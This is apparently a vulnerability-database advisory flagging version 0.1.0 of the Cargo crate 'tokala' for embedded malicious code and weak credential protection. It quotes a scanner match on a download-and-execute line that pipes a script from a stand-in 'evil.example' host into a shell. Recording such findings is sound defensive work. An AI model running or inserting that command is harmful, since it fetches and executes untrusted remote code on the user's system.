VDB
GCVE-110-CARGO-2026-006005
GCVE-110-CARGO-2026-006005
Advisory Published
[P-CURL-PIPE] curl output piped to shell (download-and-execute) — matched: ("run_shell", "curl https://evil.example/x.sh | sh"),
Weaknesses (CWE)
CWE-506Embedded Malicious CodeCWE-522Insufficiently Protected Credentials
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| cargo | tokala | 0.1.0 (affected) | — |
Browse GCVE Records
3,244 records in the GCVE database · Updated October 6, 2026
No matching records found.
Explore Further
Investigate this vulnerability in the interactive console or download the raw GCVE record.